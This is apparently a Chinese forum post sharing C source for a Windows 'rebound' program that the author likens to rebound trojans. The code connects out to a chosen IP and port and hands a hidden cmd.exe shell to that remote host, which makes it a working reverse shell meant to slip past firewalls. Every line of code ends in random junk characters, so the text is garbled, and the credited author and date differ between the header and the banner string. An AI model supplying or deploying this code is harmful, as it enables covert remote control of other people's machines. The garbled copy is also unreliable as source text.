这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ysL8w"t
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/* ============================== PUa~Apj'
Rebound port in Windows NT BL]^+KnP
By wind,2006/7 S?D2`b
===============================*/ ^%\p; yhL
#include RI%*5lM8;
#include P~?u2,.E[
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#pragma comment(lib,"wsock32.lib") =r
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void OutputShell(); $-o 39A#
SOCKET sClient; G"J6X e
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; u |#ruFR
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void main(int argc,char **argv) YP#OI6u
{ ]ImS@!Ajjx
WSADATA stWsaData; !CEF@J
int nRet; xv1$,|^ts
SOCKADDR_IN stSaiClient,stSaiServer; $'e.bh
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if(argc != 3) <01MXT-
{ az`5{hK
printf("Useage:\n\rRebound DestIP DestPort\n"); 15 SIZ:Q
return; CIV6Qe"<
} '"I"D9;9
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WSAStartup(MAKEWORD(2,2),&stWsaData); @^`-VF
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1f~_# EIC
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stSaiClient.sin_family = AF_INET; uE/qraA
stSaiClient.sin_port = htons(0); Y/{Z`}
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6#dx%TC
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \QHM7C T
{ jQf1h|e
printf("Bind Socket Failed!\n"); \*_qP*vq@
return; sba0Q[IY
} VeCpz[r
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stSaiServer.sin_family = AF_INET; LZ^sc
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zu*h9}
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d'DS7F(c{
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ph-3,cC
{ r}XD{F}"
printf("Connect Error!"); E4 JS
return; f *)t<1f
} Ndx='j0
OutputShell(); t-/%|@?D
} c?wFEADn
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void OutputShell() [rGR1>U?i
{ *mBn''a"*
char szBuff[1024]; ! a1j c_
SECURITY_ATTRIBUTES stSecurityAttributes; ]%NCKOM
OSVERSIONINFO stOsversionInfo; $z`
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1q/z&@+B
STARTUPINFO stStartupInfo; JlGyGr^MD
char *szShell; AvH/Q_-b
PROCESS_INFORMATION stProcessInformation; ZP?](RV>xg
unsigned long lBytesRead; pQW^lqwZ:6
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |[xi"E\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); f61~%@fE
stSecurityAttributes.lpSecurityDescriptor = 0; b/E1v,/<
stSecurityAttributes.bInheritHandle = TRUE; nEs l
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); JB**z00;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); y:pypuwt;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,P5HR+h
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -@AGQ+e
stStartupInfo.wShowWindow = SW_HIDE; 6`%}s3Xq
stStartupInfo.hStdInput = hReadPipe; +}z
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8CMI\yk
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GetVersionEx(&stOsversionInfo); 4yjAi@ /2
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switch(stOsversionInfo.dwPlatformId) !'n+0
{ Qg1LT8
case 1: 2R.YHj
szShell = "command.com"; 4|x5-m+T
break; >iaZGXje
default: hLO nX<%a
szShell = "cmd.exe"; ]_5C5m
break; |h8C}P&Z
} m|e!1_:H
D*_ F@}=
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /l@ 7MxE
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send(sClient,szMsg,77,0); >uxak2nM-
while(1) vzy/Rq
{ IHf
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -3haLdRk6
if(lBytesRead) XBi@\i=
{ A9F&XF7{
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); NOo&5@z;H
send(sClient,szBuff,lBytesRead,0); m;8_A|$A
} cLJ|VD7
else ;`@DQvVZ:
{ W@/D2K(
lBytesRead=recv(sClient,szBuff,1024,0); lD\lFN(:
if(lBytesRead<=0) break; #& Rx(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rHN>fySn7
} g'hBs
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} -%"MAIJnX
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return; p5>TL!4M
}